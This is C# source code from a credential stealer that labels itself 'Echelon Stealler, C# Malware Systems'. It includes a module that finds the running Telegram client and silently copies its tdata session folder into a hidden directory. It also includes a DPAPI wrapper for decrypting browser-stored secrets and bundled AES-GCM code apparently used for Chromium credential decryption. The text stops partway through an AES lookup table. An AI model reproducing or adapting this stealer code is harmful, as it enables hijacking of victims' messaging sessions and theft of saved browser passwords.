Echelon { public class Telegram { public static int count = 0; private static bool in_patch = false; public static void GetTelegram(string Echelon_Dir) { try { var prcName = "Telegram"; Process[] processByName = Process.GetProcessesByName(prcName); if (processByName.Length < 1) return; var dir_from = Path.GetDirectoryName(processByName[0].MainModule.FileName) + "\\tdata"; if (!Directory.Exists(dir_from)) return; var dir_to = Echelon_Dir + "\\Telegram_" + (int)(DateTime.UtcNow - new DateTime(1970, 1, 1)).TotalSeconds; CopyAll(dir_from, dir_to); count++; } catch {} } private static void CopyAll(string fromDir, string toDir) { try { DirectoryInfo di = Directory.CreateDirectory(toDir); di.Attributes = FileAttributes.Directory | FileAttributes.Hidden; foreach (string s1 in Directory.GetFiles(fromDir)) CopyFile(s1, toDir); foreach (string s in Directory.GetDirectories(fromDir)) CopyDir(s, toDir); } catch { } } private static void CopyFile(string s1, string toDir) { try { var fname = Path.GetFileName(s1); if (in_patch && !(fname[0] == 'm' || fname[1] == 'a' || fname[2] == 'p')) return; var s2 = toDir + "\\" + fname; File.Copy(s1, s2); } catch { } } private static void CopyDir(string s, string toDir) { try { in_patch = true; CopyAll(s, toDir + "\\" + Path.GetFileName(s)); in_patch = false; } catch { } } } } <file_sep>/Stealer/Browsers/Chromium/DecryptAPI.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Text; namespace Echelon { class DecryptAPI { public static byte[] DecryptBrowsers(byte[] cipherTextBytes, byte[] entropyBytes = null) { DataBlob pPlainText = new DataBlob(); DataBlob pCipherText = new DataBlob(); DataBlob pEntropy = new DataBlob(); CryptprotectPromptstruct pPrompt = new CryptprotectPromptstruct() { cbSize = Marshal.SizeOf(typeof(CryptprotectPromptstruct)), dwPromptFlags = 0, hwndApp = IntPtr.Zero, szPrompt = null }; string empty = string.Empty; try { try { if (cipherTextBytes == null) cipherTextBytes = new byte[0]; pCipherText.pbData = Marshal.AllocHGlobal(cipherTextBytes.Length); pCipherText.cbData = cipherTextBytes.Length; Marshal.Copy(cipherTextBytes, 0, pCipherText.pbData, cipherTextBytes.Length); } catch { } try { if (entropyBytes == null) entropyBytes = new byte[0]; pEntropy.pbData = Marshal.AllocHGlobal(entropyBytes.Length); pEntropy.cbData = entropyBytes.Length; Marshal.Copy(entropyBytes, 0, pEntropy.pbData, entropyBytes.Length); } catch { } CryptUnprotectData(ref pCipherText, ref empty, ref pEntropy, IntPtr.Zero, ref pPrompt, 1, ref pPlainText); byte[] destination = new byte[pPlainText.cbData]; Marshal.Copy(pPlainText.pbData, destination, 0, pPlainText.cbData); return destination; } catch { } finally { if (pPlainText.pbData != IntPtr.Zero) Marshal.FreeHGlobal(pPlainText.pbData); if (pCipherText.pbData != IntPtr.Zero) Marshal.FreeHGlobal(pCipherText.pbData); if (pEntropy.pbData != IntPtr.Zero) Marshal.FreeHGlobal(pEntropy.pbData); } return new byte[0]; } [DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern bool CryptUnprotectData(ref DataBlob pCipherText, ref string pszDescription, ref DataBlob pEntropy, IntPtr pReserved, ref CryptprotectPromptstruct pPrompt, int dwFlags, ref DataBlob pPlainText); [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] private struct DataBlob { public int cbData; public IntPtr pbData; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] private struct CryptprotectPromptstruct { public int cbSize; public int dwPromptFlags; public IntPtr hwndApp; public string szPrompt; } } public sealed class Arrays { private Arrays() { } public static bool AreEqual(bool[] a, bool[] b) { if (a == b) { return true; } if (a == null || b == null) { return false; } return HaveSameContents(a, b); } public static bool AreEqual(char[] a, char[] b) { if (a == b) { return true; } if (a == null || b == null) { return false; } return HaveSameContents(a, b); } public static bool AreEqual(byte[] a, byte[] b) { if (a == b) { return true; } if (a == null || b == null) { return false; } return HaveSameContents(a, b); } [Obsolete("Use 'AreEqual' method instead")] public static bool AreSame(byte[] a, byte[] b) { return AreEqual(a, b); } public static bool ConstantTimeAreEqual(byte[] a, byte[] b) { int num = a.Length; if (num != b.Length) { return false; } int num2 = 0; while (num != 0) { num--; num2 |= (a[num] ^ b[num]); } return num2 == 0; } public static bool AreEqual(int[] a, int[] b) { if (a == b) { return true; } if (a == null || b == null) { return false; } return HaveSameContents(a, b); } private static bool HaveSameContents(bool[] a, bool[] b) { int num = a.Length; if (num != b.Length) { return false; } while (num != 0) { num--; if (a[num] != b[num]) { return false; } } return true; } private static bool HaveSameContents(char[] a, char[] b) { int num = a.Length; if (num != b.Length) { return false; } while (num != 0) { num--; if (a[num] != b[num]) { return false; } } return true; } private static bool HaveSameContents(byte[] a, byte[] b) { int num = a.Length; if (num != b.Length) { return false; } while (num != 0) { num--; if (a[num] != b[num]) { return false; } } return true; } private static bool HaveSameContents(int[] a, int[] b) { int num = a.Length; if (num != b.Length) { return false; } while (num != 0) { num--; if (a[num] != b[num]) { return false; } } return true; } public static string ToString(object[] a) { StringBuilder stringBuilder = new StringBuilder(91); if (a.Length != 0) { stringBuilder.Append(a[0]); for (int i = 1; i < a.Length; i++) { stringBuilder.Append(", ").Append(a[i]); } } stringBuilder.Append(']'); return stringBuilder.ToString(); } public static int GetHashCode(byte[] data) { if (data == null) { return 0; } int num = data.Length; int num2 = num + 1; while (--num >= 0) { num2 *= 257; num2 ^= data[num]; } return num2; } public static byte[] Clone(byte[] data) { if (data != null) { return (byte[])data.Clone(); } return null; } public static int[] Clone(int[] data) { if (data != null) { return (int[])data.Clone(); } return null; } } internal sealed class Pack { private Pack() { } internal static void UInt32_To_BE(uint n, byte[] bs) { bs[0] = (byte)(n >> 24); bs[1] = (byte)(n >> 16); bs[2] = (byte)(n >> 8); bs[3] = (byte)n; } internal static void UInt32_To_BE(uint n, byte[] bs, int off) { bs[off] = (byte)(n >> 24); bs[++off] = (byte)(n >> 16); bs[++off] = (byte)(n >> 8); bs[++off] = (byte)n; } internal static uint BE_To_UInt32(byte[] bs) { return (uint)((bs[0] << 24) | (bs[1] << 16) | (bs[2] << 8) | bs[3]); } internal static uint BE_To_UInt32(byte[] bs, int off) { return (uint)((bs[off] << 24) | (bs[++off] << 16) | (bs[++off] << 8) | bs[++off]); } internal static ulong BE_To_UInt64(byte[] bs) { uint num = BE_To_UInt32(bs); uint num2 = BE_To_UInt32(bs, 4); return ((ulong)num << 32) | num2; } internal static ulong BE_To_UInt64(byte[] bs, int off) { uint num = BE_To_UInt32(bs, off); uint num2 = BE_To_UInt32(bs, off + 4); return ((ulong)num << 32) | num2; } internal static void UInt64_To_BE(ulong n, byte[] bs) { UInt32_To_BE((uint)(n >> 32), bs); UInt32_To_BE((uint)n, bs, 4); } internal static void UInt64_To_BE(ulong n, byte[] bs, int off) { UInt32_To_BE((uint)(n >> 32), bs, off); UInt32_To_BE((uint)n, bs, off + 4); } internal static void UInt32_To_LE(uint n, byte[] bs) { bs[0] = (byte)n; bs[1] = (byte)(n >> 8); bs[2] = (byte)(n >> 16); bs[3] = (byte)(n >> 24); } internal static void UInt32_To_LE(uint n, byte[] bs, int off) { bs[off] = (byte)n; bs[++off] = (byte)(n >> 8); bs[++off] = (byte)(n >> 16); bs[++off] = (byte)(n >> 24); } internal static uint LE_To_UInt32(byte[] bs) { return (uint)(bs[0] | (bs[1] << 8) | (bs[2] << 16) | (bs[3] << 24)); } internal static uint LE_To_UInt32(byte[] bs, int off) { return (uint)(bs[off] | (bs[++off] << 8) | (bs[++off] << 16) | (bs[++off] << 24)); } internal static ulong LE_To_UInt64(byte[] bs) { uint num = LE_To_UInt32(bs); return ((ulong)LE_To_UInt32(bs, 4) << 32) | num; } internal static ulong LE_To_UInt64(byte[] bs, int off) { uint num = LE_To_UInt32(bs, off); return ((ulong)LE_To_UInt32(bs, off + 4) << 32) | num; } internal static void UInt64_To_LE(ulong n, byte[] bs) { UInt32_To_LE((uint)n, bs); UInt32_To_LE((uint)(n >> 32), bs, 4); } internal static void UInt64_To_LE(ulong n, byte[] bs, int off) { UInt32_To_LE((uint)n, bs, off); UInt32_To_LE((uint)(n >> 32), bs, off + 4); } } public class ParametersWithIV : ICipherParameters { private readonly ICipherParameters parameters; private readonly byte[] iv; public ICipherParameters Parameters => parameters; public ParametersWithIV(ICipherParameters parameters, byte[] iv) : this(parameters, iv, 0, iv.Length) { } public ParametersWithIV(ICipherParameters parameters, byte[] iv, int ivOff, int ivLen) { if (parameters == null) { throw new ArgumentNullException("parameters"); } if (iv == null) { throw new ArgumentNullException("iv"); } this.parameters = parameters; this.iv = new byte[ivLen]; Array.Copy(iv, ivOff, this.iv, 0, ivLen); } public byte[] GetIV() { return (byte[])iv.Clone(); } } public class KeyParameter : ICipherParameters { private readonly byte[] key; public KeyParameter(byte[] key) { if (key == null) { throw new ArgumentNullException("key"); } this.key = (byte[])key.Clone(); } public KeyParameter(byte[] key, int keyOff, int keyLen) { if (key == null) { throw new ArgumentNullException("key"); } if (keyOff < 0 || keyOff > key.Length) { throw new ArgumentOutOfRangeException("keyOff"); } if (keyLen < 0 || keyOff + keyLen > key.Length) { throw new ArgumentOutOfRangeException("keyLen"); } this.key = new byte[keyLen]; Array.Copy(key, keyOff, this.key, 0, keyLen); } public byte[] GetKey() { return (byte[])key.Clone(); } } internal abstract class GcmUtilities { internal static byte[] OneAsBytes() { return new byte[16] { 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; } internal static uint[] OneAsUints() { return new uint[4] { 2147483648u, 0u, 0u, 0u }; } internal static uint[] AsUints(byte[] bs) { return new uint[4] { Pack.BE_To_UInt32(bs, 0), Pack.BE_To_UInt32(bs, 4), Pack.BE_To_UInt32(bs, 8), Pack.BE_To_UInt32(bs, 12) }; } internal static void Multiply(byte[] block, byte[] val) { byte[] array = Arrays.Clone(block); byte[] array2 = new byte[16]; for (int i = 0; i < 16; i++) { byte b = val[i]; for (int num = 7; num >= 0; num--) { if ((b & (1 << num)) != 0) { Xor(array2, array); } bool num2 = (array[15] & 1) != 0; ShiftRight(array); if (num2) { array[0] ^= 225; } } } Array.Copy(array2, 0, block, 0, 16); } internal static void MultiplyP(uint[] x) { bool num = (x[3] & 1) != 0; ShiftRight(x); if (num) { x[0] ^= 3774873600u; } } internal static void MultiplyP8(uint[] x) { uint num = x[3]; ShiftRightN(x, 8); for (int num2 = 7; num2 >= 0; num2--) { if ((num & (1 << num2)) != 0L) { x[0] ^= 3774873600u >> 7 - num2; } } } internal static void ShiftRight(byte[] block) { int num = 0; byte b = 0; while (true) { byte b2 = block[num]; block[num] = (byte)((b2 >> 1) | b); if (++num != 16) { b = (byte)(b2 << 7); continue; } break; } } internal static void ShiftRight(uint[] block) { int num = 0; uint num2 = 0u; while (true) { uint num3 = block[num]; block[num] = ((num3 >> 1) | num2); if (++num != 4) { num2 = num3 << 31; continue; } break; } } internal static void ShiftRightN(uint[] block, int n) { int num = 0; uint num2 = 0u; while (true) { uint num3 = block[num]; block[num] = ((num3 >> n) | num2); if (++num != 4) { num2 = num3 << 32 - n; continue; } break; } } internal static void Xor(byte[] block, byte[] val) { for (int num = 15; num >= 0; num--) { block[num] ^= val[num]; } } internal static void Xor(uint[] block, uint[] val) { for (int num = 3; num >= 0; num--) { block[num] ^= val[num]; } } } public interface IGcmMultiplier { void Init(byte[] H); void MultiplyH(byte[] x); } public class Tables8kGcmMultiplier : IGcmMultiplier { private readonly uint[][][] M = new uint[32][][]; public void Init(byte[] H) { M[0] = new uint[16][]; M[1] = new uint[16][]; M[0][0] = new uint[4]; M[1][0] = new uint[4]; M[1][8] = GcmUtilities.AsUints(H); for (int num = 4; num >= 1; num >>= 1) { uint[] array = (uint[])M[1][num + num].Clone(); GcmUtilities.MultiplyP(array); M[1][num] = array; } uint[] array2 = (uint[])M[1][1].Clone(); GcmUtilities.MultiplyP(array2); M[0][8] = array2; for (int num2 = 4; num2 >= 1; num2 >>= 1) { uint[] array3 = (uint[])M[0][num2 + num2].Clone(); GcmUtilities.MultiplyP(array3); M[0][num2] = array3; } int num3 = 0; while (true) { for (int i = 2; i < 16; i += i) { for (int j = 1; j < i; j++) { uint[] array4 = (uint[])M[num3][i].Clone(); GcmUtilities.Xor(array4, M[num3][j]); M[num3][i + j] = array4; } } if (++num3 == 32) { break; } if (num3 > 1) { M[num3] = new uint[16][]; M[num3][0] = new uint[4]; for (int num4 = 8; num4 > 0; num4 >>= 1) { uint[] array5 = (uint[])M[num3 - 2][num4].Clone(); GcmUtilities.MultiplyP8(array5); M[num3][num4] = array5; } } } } public void MultiplyH(byte[] x) { uint[] array = new uint[4]; for (int num = 15; num >= 0; num--) { uint[] array2 = M[num + num][x[num] & 0xF]; array[0] ^= array2[0]; array[1] ^= array2[1]; array[2] ^= array2[2]; array[3] ^= array2[3]; array2 = M[num + num + 1][(x[num] & 0xF0) >> 4]; array[0] ^= array2[0]; array[1] ^= array2[1]; array[2] ^= array2[2]; array[3] ^= array2[3]; } Pack.UInt32_To_BE(array[0], x, 0); Pack.UInt32_To_BE(array[1], x, 4); Pack.UInt32_To_BE(array[2], x, 8); Pack.UInt32_To_BE(array[3], x, 12); } } public class GcmBlockCipher : IAeadBlockCipher { private const int BlockSize = 16; private static readonly byte[] Zeroes = new byte[16]; private readonly IBlockCipher cipher; private readonly IGcmMultiplier multiplier; private bool forEncryption; private int macSize; private byte[] nonce; private byte[] A; private KeyParameter keyParam; private byte[] H; private byte[] initS; private byte[] J0; private byte[] bufBlock; private byte[] macBlock; private byte[] S; private byte[] counter; private int bufOff; private ulong totalLength; public virtual string AlgorithmName => cipher.AlgorithmName + "/GCM"; public GcmBlockCipher(IBlockCipher c) : this(c, null) { } public GcmBlockCipher(IBlockCipher c, IGcmMultiplier m) { if (c.GetBlockSize() != 16) { throw new ArgumentException("cipher required with a block size of " + 16 + "."); } if (m == null) { m = new Tables8kGcmMultiplier(); } cipher = c; multiplier = m; } public virtual int GetBlockSize() { return 16; } public virtual void Init(bool forEncryption, ICipherParameters parameters) { this.forEncryption = forEncryption; macBlock = null; if (parameters is AeadParameters) { AeadParameters aeadParameters = (AeadParameters)parameters; nonce = aeadParameters.GetNonce(); A = aeadParameters.GetAssociatedText(); int num = aeadParameters.MacSize; if (num < 96 || num > 128 || num % 8 != 0) { throw new ArgumentException("Invalid value for MAC size: " + num); } macSize = num / 8; keyParam = aeadParameters.Key; } else { if (!(parameters is ParametersWithIV)) { throw new ArgumentException("invalid parameters passed to GCM"); } ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; nonce = parametersWithIV.GetIV(); A = null; macSize = 16; keyParam = (KeyParameter)parametersWithIV.Parameters; } int num2 = forEncryption ? 16 : (16 + macSize); bufBlock = new byte[num2]; if (nonce == null || nonce.Length < 1) { throw new ArgumentException("IV must be at least 1 byte"); } if (A == null) { A = new byte[0]; } cipher.Init(true, keyParam); H = new byte[16]; cipher.ProcessBlock(H, 0, H, 0); multiplier.Init(H); initS = gHASH(A); if (nonce.Length == 12) { J0 = new byte[16]; Array.Copy(nonce, 0, J0, 0, nonce.Length); J0[15] = 1; } else { J0 = gHASH(nonce); byte[] array = new byte[16]; packLength((ulong)((long)nonce.Length * 8L), array, 8); GcmUtilities.Xor(J0, array); multiplier.MultiplyH(J0); } S = Arrays.Clone(initS); counter = Arrays.Clone(J0); bufOff = 0; totalLength = 0uL; } public virtual byte[] GetMac() { return Arrays.Clone(macBlock); } public virtual int GetOutputSize(int len) { if (forEncryption) { return len + bufOff + macSize; } return len + bufOff - macSize; } public virtual int GetUpdateOutputSize(int len) { return (len + bufOff) / 16 * 16; } public virtual int ProcessByte(byte input, byte[] output, int outOff) { return Process(input, output, outOff); } public virtual int ProcessBytes(byte[] input, int inOff, int len, byte[] output, int outOff) { int num = 0; for (int i = 0; i != len; i++) { bufBlock[bufOff++] = input[inOff + i]; if (bufOff == bufBlock.Length) { gCTRBlock(bufBlock, 16, output, outOff + num); if (!forEncryption) { Array.Copy(bufBlock, 16, bufBlock, 0, macSize); } bufOff = bufBlock.Length - 16; num += 16; } } return num; } private int Process(byte input, byte[] output, int outOff) { bufBlock[bufOff++] = input; if (bufOff == bufBlock.Length) { gCTRBlock(bufBlock, 16, output, outOff); if (!forEncryption) { Array.Copy(bufBlock, 16, bufBlock, 0, macSize); } bufOff = bufBlock.Length - 16; return 16; } return 0; } public int DoFinal(byte[] output, int outOff) { int num = bufOff; if (!forEncryption) { if (num < macSize) { throw new InvalidCipherTextException("data too short"); } num -= macSize; } if (num > 0) { byte[] array = new byte[16]; Array.Copy(bufBlock, 0, array, 0, num); gCTRBlock(array, num, output, outOff); } byte[] array2 = new byte[16]; packLength((ulong)((long)A.Length * 8L), array2, 0); packLength(totalLength * 8, array2, 8); GcmUtilities.Xor(S, array2); multiplier.MultiplyH(S); byte[] array3 = new byte[16]; cipher.ProcessBlock(J0, 0, array3, 0); GcmUtilities.Xor(array3, S); int num2 = num; macBlock = new byte[macSize]; Array.Copy(array3, 0, macBlock, 0, macSize); if (forEncryption) { Array.Copy(macBlock, 0, output, outOff + bufOff, macSize); num2 += macSize; } else { byte[] array4 = new byte[macSize]; Array.Copy(bufBlock, num, array4, 0, macSize); if (!Arrays.ConstantTimeAreEqual(macBlock, array4)) { throw new InvalidCipherTextException("mac check in GCM failed"); } } Reset(clearMac: false); return num2; } public virtual void Reset() { Reset(clearMac: true); } private void Reset(bool clearMac) { S = Arrays.Clone(initS); counter = Arrays.Clone(J0); bufOff = 0; totalLength = 0uL; if (bufBlock != null) { Array.Clear(bufBlock, 0, bufBlock.Length); } if (clearMac) { macBlock = null; } cipher.Reset(); } private void gCTRBlock(byte[] buf, int bufCount, byte[] output, int outOff) { int num = 15; while (num >= 12 && ++counter[num] == 0) { num--; } byte[] array = new byte[16]; cipher.ProcessBlock(counter, 0, array, 0); byte[] val; if (forEncryption) { Array.Copy(Zeroes, bufCount, array, bufCount, 16 - bufCount); val = array; } else { val = buf; } for (int num2 = bufCount - 1; num2 >= 0; num2--) { array[num2] ^= buf[num2]; output[outOff + num2] = array[num2]; } GcmUtilities.Xor(S, val); multiplier.MultiplyH(S); totalLength += (ulong)bufCount; } private byte[] gHASH(byte[] b) { byte[] array = new byte[16]; for (int i = 0; i < b.Length; i += 16) { byte[] array2 = new byte[16]; int length = Math.Min(b.Length - i, 16); Array.Copy(b, i, array2, 0, length); GcmUtilities.Xor(array, array2); multiplier.MultiplyH(array); } return array; } private static void packLength(ulong len, byte[] bs, int off) { Pack.UInt32_To_BE((uint)(len >> 32), bs, off); Pack.UInt32_To_BE((uint)len, bs, off + 4); } } public interface IAeadBlockCipher { string AlgorithmName { get; } void Init(bool forEncryption, ICipherParameters parameters); int GetBlockSize(); int ProcessByte(byte input, byte[] outBytes, int outOff); int ProcessBytes(byte[] inBytes, int inOff, int len, byte[] outBytes, int outOff); int DoFinal(byte[] outBytes, int outOff); byte[] GetMac(); int GetUpdateOutputSize(int len); int GetOutputSize(int len); void Reset(); } public class AesFastEngine : IBlockCipher { private static readonly byte[] S = new byte[256] { 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22 }; private static readonly byte[] Si = new byte[256] { 82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125 }; private static readonly byte[] rcon = new byte[30] { 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145 }; private static readonly uint[] T0 = new uint[256] { 2774754246u, 2222750968u, 2574743534u, 2373680118u, 234025727u, 3177933782u, 2976870366u, 1422247313u, 1345335392u, 50397442u, 2842126286u, 2099981142u, 436141799u, 1658312629u, 3870010189u, 2591454956u, 1170918031u, 2642575903u, 1086966153u, 2273148410u, 368769775u, 3948501426u, 3376891790u, 200339707u, 3970805057u, 1742001331u, 4255294047u, 3937382213u, 3214711843u, 4154762323u, 2524082916u, 1539358875u, 3266819957u, 486407649u, 2928907069u, 1780885068u, 1513502316u, 1094664062u, 49805301u, 1338821763u, 1546925160u, 4104496465u, 887481809u, 150073849u, 2473685474u, 1943591083u, 1395732834u, 1058346282u, 201589768u, 1388824469u, 1696801606u, 1589887901u, 672667696u, 2711000631u, 251987210u, 3046808111u, 151455502u, 907153956u, 2608889883u, 1038279391u, 652995533u, 1764173646u, 3451040383u, 2675275242u, 453576978u, 2659418909u, 1949051992u, 773462580u, 756751158u, 2993581788u, 3998898868u, 4221608027u, 4132590244u, 1295727478u, 1641469623u, 3467883389u, 2066295122u, 1055122397u, 1898917726u, 2542044179u, 4115878822u, 1758581177u, 0u, 753790401u, 1612718144u, 536673507u, 3367088505u, 3982187446u, 3194645204u, 1187761037u, 3653156455u, 1262041458u, 3729410708u, 3561770136u, 3898103984u, 1255133061u, 1808847035u, 720367557u, 3853167183u, 385612781u, 3309519750u, 3612167578u, 1429418854u, 2491778321u, 3477423498u, 284817897u, 100794884u, 2172616702u, 4031795360u, 1144798328u, 3131023141u, 3819481163u, 4082192802u, 4272137053u, 3225436288u, 2324664069u, 2912064063u, 3164445985u, 1211644016u, 83228145u, 3753688163u, 3249976951u, 1977277103u, 1663115586u, 806359072u, 452984805u, 250868733u, 1842533055u, 1288555905u, 336333848u, 890442534u, 804056259u, 3781124030u, 2727843637u, 3427026056u, 957814574u, 1472513171u, 4071073621u, 2189328124u, 1195195770u, 2892260552u, 3881655738u, 723065138u, 2507371494u, 2690670784u, 2558624025u, 3511635870u, 2145180835u, 1713513028u, 2116692564u, 2878378043u, 2206763019u, 3393603212u, 703524551u, 3552098411u, 1007948840u, 2044649127u, 3797835452u, 487262998u, 1994120109u, 1004593371u, 1446130276u, 1312438900u, 503974420u, 3679013266u, 168166924u, 1814307912u, 3831258296u, 1573044895u, 1859376061u, 4021070915u, 2791465668u, 2828112185u, 2761266481u, 937747667u, 2339994098u, 854058965u, 1137232011u, 1496790894u, 3077402074u, 2358086913u, 1691735473u, 3528347292u, 3769215305u, 3027004632u, 4199962284u, 133494003u, 636152527u, 2942657994u, 2390391540u, 3920539207u, 403179536u, 3585784431u, 2289596656u, 1864705354u, 1915629148u, 605822008u, 4054230615u, 3350508659u, 1371981463u, 602466507u, 2094914977u, 2624877800u, 555687742u, 3712699286u, 3703422305u, 2257292045u, 2240449039u, 2423288032u, 1111375484u, 3300242801u, 2858837708u, 3628615824u, 84083462u, 32962295u, 302911004u, 2741068226u, 1597322602u, 4183250862u, 3501832553u, 2441512471u, 1489093017u, 656219450u, 3114180135u, 954327513u, 335083755u, 3013122091u, 856756514u, 3144247762u, 1893325225u, 2307821063u, 2811532339u, 3063651117u, 572399164u, 2458355477u, 552200649u, 1238290055u, 4283782570u, 2015897680u, 2061492133u, 2408352771u, 4171342169u, 2156497161u, 386731290u, 3669999461u, 837215959u, 3326231172u, 3093850320u, 3275833730u, 2962856233u, 1999449434u, 286199582u, 3417354363u, 4233385128u, 3602627437u, 974525996u }; private static readonly uint[] T1 = new uint[256] { 1667483301u, 2088564868u, 2004348569u, 2071721613u, 4076011277u, 1802229437u, 1869602481u, 3318059348u, 808476752u, 16843267u, 1734856361u, 724260477u, 4278118169u, 3621238114u, 2880130534u, 1987505306u, 3402272581u, 2189565853u, 3385428288u, 2105408135u, 4210749205u, 1499050731u, 1195871945u, 4042324747u, 2913812972u, 3570709351u, 2728550397u, 2947499498u, 2627478463u, 2762232823u, 1920132246u, 3233848155u, 3082253762u, 4261273884u, 2475900334u, 640044138u, 909536346u, 1061125697u, 4160222466u, 3435955023u, 875849820u, 2779075060u, 3857043764u, 4059166984u, 1903288979u, 3638078323u, 825320019u, 353708607u, 67373068u, 3351745874u, 589514341u, 3284376926u, 404238376u, 2526427041u, 84216335u, 2593796021u, 117902857u, 303178806u, 2155879323u, 3806519101u, 3958099238u, 656887401u, 2998042573u, 1970662047u, 151589403u, 2206408094u, 741103732u, 437924910u, 454768173u, 1852759218u, 1515893998u, 2694863867u, 1381147894u, 993752653u, 3604395873u, 3014884814u, 690573947u, 3823361342u, 791633521u, 2223248279u, 1397991157u, 3520182632u, 0u, 3991781676u, 538984544u, 4244431647u, 2981198280u, 1532737261u, 1785386174u, 3419114822u, 3200149465u, 960066123u, 1246401758u, 1280088276u, 1482207464u, 3486483786u, 3503340395u, 4025468202u, 2863288293u, 4227591446u, 1128498885u, 1296931543u, 859006549u, 2240090516u, 1162185423u, 4193904912u, 33686534u, 2139094657u, 1347461360u, 1010595908u, 2678007226u, 2829601763u, 1364304627u, 2745392638u, 1077969088u, 2408514954u, 2459058093u, 2644320700u, 943222856u, 4126535940u, 3166462943u, 3065411521u, 3671764853u, 555827811u, 269492272u, 4294960410u, 4092853518u, 3537026925u, 3452797260u, 202119188u, 320022069u, 3974939439u, 1600110305u, 2543269282u, 1145342156u, 387395129u, 3301217111u, 2812761586u, 2122251394u, 1027439175u, 1684326572u, 1566423783u, 421081643u, 1936975509u, 1616953504u, 2172721560u, 1330618065u, 3705447295u, 572671078u, 707417214u, 2425371563u, 2290617219u, 1179028682u, 4008625961u, 3099093971u, 336865340u, 3739133817u, 1583267042u, 185275933u, 3688607094u, 3772832571u, 842163286u, 976909390u, 168432670u, 1229558491u, 101059594u, 606357612u, 1549580516u, 3267534685u, 3553869166u, 2896970735u, 1650640038u, 2442213800u, 2509582756u, 3840201527u, 2038035083u, 3890730290u, 3368586051u, 926379609u, 1835915959u, 2374828428u, 3587551588u, 1313774802u, 2846444000u, 1819072692u, 1448520954u, 4109693703u, 3941256997u, 1701169839u, 2054878350u, 2930657257u, 134746136u, 3132780501u, 2021191816u, 623200879u, 774790258u, 471611428u, 2795919345u, 3031724999u, 3334903633u, 3907570467u, 3722289532u, 1953818780u, 522141217u, 1263245021u, 3183305180u, 2341145990u, 2324303749u, 1886445712u, 1044282434u, 3048567236u, 1718013098u, 1212715224u, 50529797u, 4143380225u, 235805714u, 1633796771u, 892693087u, 1465364217u, 3115936208u, 2256934801u, 3250690392u, 488454695u, 2661164985u, 3789674808u, 4177062675u, 2560109491u, 286335539u, 1768542907u, 3654920560u, 2391672713u, 2492740519u, 2610638262u, 505297954u, 2273777042u, 3924412704u, 3469641545u, 1431677695u, 673730680u, 3755976058u, 2357986191u, 2711706104u, 2307459456u, 218962455u, 3216991706u, 3873888049u, 1111655622u, 1751699640u, 1094812355u, 2576951728u, 757946999u, 252648977u, 2964356043u, 1414834428u, 3149622742u, 370551866u }; private static readonly uint[] T2 = new uint[256] { 1673962851u, 2096661628u, 2012125559u, 2079755643u, 4076801522u, 1809235307u, 1876865391u, 3314635973u, 811618352u, 16909057u, 1741597031u, 727088427u, 4276558334u, 3618988759u, 2874009259u, 1995217526u, 3398387146u, 2183110018u, 3381215433u, 2113570685u, 4209972730u, 1504897881u, 